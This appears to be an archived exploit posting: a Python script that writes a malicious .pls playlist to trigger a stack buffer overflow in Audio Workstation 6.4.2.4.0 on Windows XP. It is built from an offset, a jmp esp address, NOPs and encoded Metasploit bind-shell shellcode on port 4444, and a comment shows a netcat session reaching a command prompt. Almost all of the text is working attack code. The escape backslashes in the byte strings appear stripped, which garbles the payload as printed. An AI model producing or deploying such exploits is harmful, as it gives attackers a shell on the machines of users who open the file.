aw-overflow.txt
Posted on 10 December 2009
#!/usr/bin/python ########################################################## # # Audio Workstation v6.4.2.4.0 (.pls) Universal Local BoF Exploit # Credits: germaya_x # Coded by: mr_me # Tested on Windows XP SP3 # Note: ** For educational purposes only ** # ########################################################### # # mrme@home:~$ nc -v 192.168.0.6 4444 # 192.168.0.6: inverse host lookup failed: Unknown server error : # Connection timed out # (UNKNOWN) [192.168.0.6] 4444 (?) open # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:Program FilesAudio Workstation> # # Note: There is no need to restrict this exploit # to XP sp2 as AudioWorkstation.exe contains # jmp esp addresses that works on XP sp3. # The addresses that I found using msfpescan: # # 0x0105a9b1 jmp esp # 0x010d1c9a jmp esp # 0x010f0215 jmp esp # 0x010f54aa jmp esp # 0x01102e7e jmp esp # windows/shell_bind_tcp - 368 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=thread, LPORT=4444, RHOST= sc =("x29xc9xb8x47xffxe4x4fxb1x56xddxc3xd9x74x24" "xf4x5bx31x43x0fx03x43x0fx83xc3x43x1dx11xb3" "xa3x68xdax4cx33x0bx52xa9x02x19x00xb9x36xad" "x42xefxbax46x06x04x49x2ax8fx2bxfax81xe9x02" "xfbx27x36xc8x3fx29xcax13x13x89xf3xdbx66xc8" "x34x01x88x98xedx4dx3ax0dx99x10x86x2cx4dx1f" "xb6x56xe8xe0x42xedxf3x30xfax7axbbxa8x71x24" "x1cxc8x56x36x60x83xd3x8dx12x12x35xdcxdbx24" "x79xb3xe5x88x74xcdx22x2ex66xb8x58x4cx1bxbb" "x9ax2exc7x4ex3fx88x8cxe9x9bx28x41x6fx6fx26" "x2exfbx37x2bxb1x28x4cx57x3axcfx83xd1x78xf4" "x07xb9xdbx95x1ex67x8axaax41xcfx73x0fx09xe2" "x60x29x50x6bx45x04x6bx6bxc1x1fx18x59x4exb4" "xb6xd1x07x12x40x15x32xe2xdexe8xbcx13xf6x2e" "xe8x43x60x86x90x0fx70x27x45x9fx20x87x35x60" "x91x67xe5x08xfbx67xdax29x04xa2x6dx6excax96" "x3ex19x2fx29xd1x85xa6xcfxbbx25xefx58x53x84" "xd4x50xc4xf7x3excdx5dx60x76x1bx59x8fx87x09" "xcax3cx2fxdax98x2exf4xfbx9fx7ax5cx75x98xed" "x16xebx6bx8fx27x26x1bx2cxb5xadxdbx3bxa6x79" "x8cx6cx18x70x58x81x03x2ax7ex58xd5x15x3ax87" "x26x9bxc3x4ax12xbfxd3x92x9bxfbx87x4axcax55" "x71x2dxa4x17x2bxe7x1bxfexbbx7ex50xc1xbdx7e" "xbdxb7x21xcex68x8ex5exffxfcx06x27x1dx9dxe9" "xf2xa5xbdx0bxd6xd3x55x92xb3x59x38x25x6ex9d" "x45xa6x9ax5exb2xb6xefx5bxfex70x1cx16x6fx15" "x22x85x90x3c") buff = 'x41' * 1324 # offset buff += 'xb1xa9x05x01' # jmp esp buff += 'x90' * 10 # nops buff += sc # shellcode buff += 'xcc' * (4000-1338-len(sc)) # finish buffer exploitme = open('AudioWorkstation.pls','w') exploitme.write(buff) exploitme.close() print "[+] Created exploit file ;)"
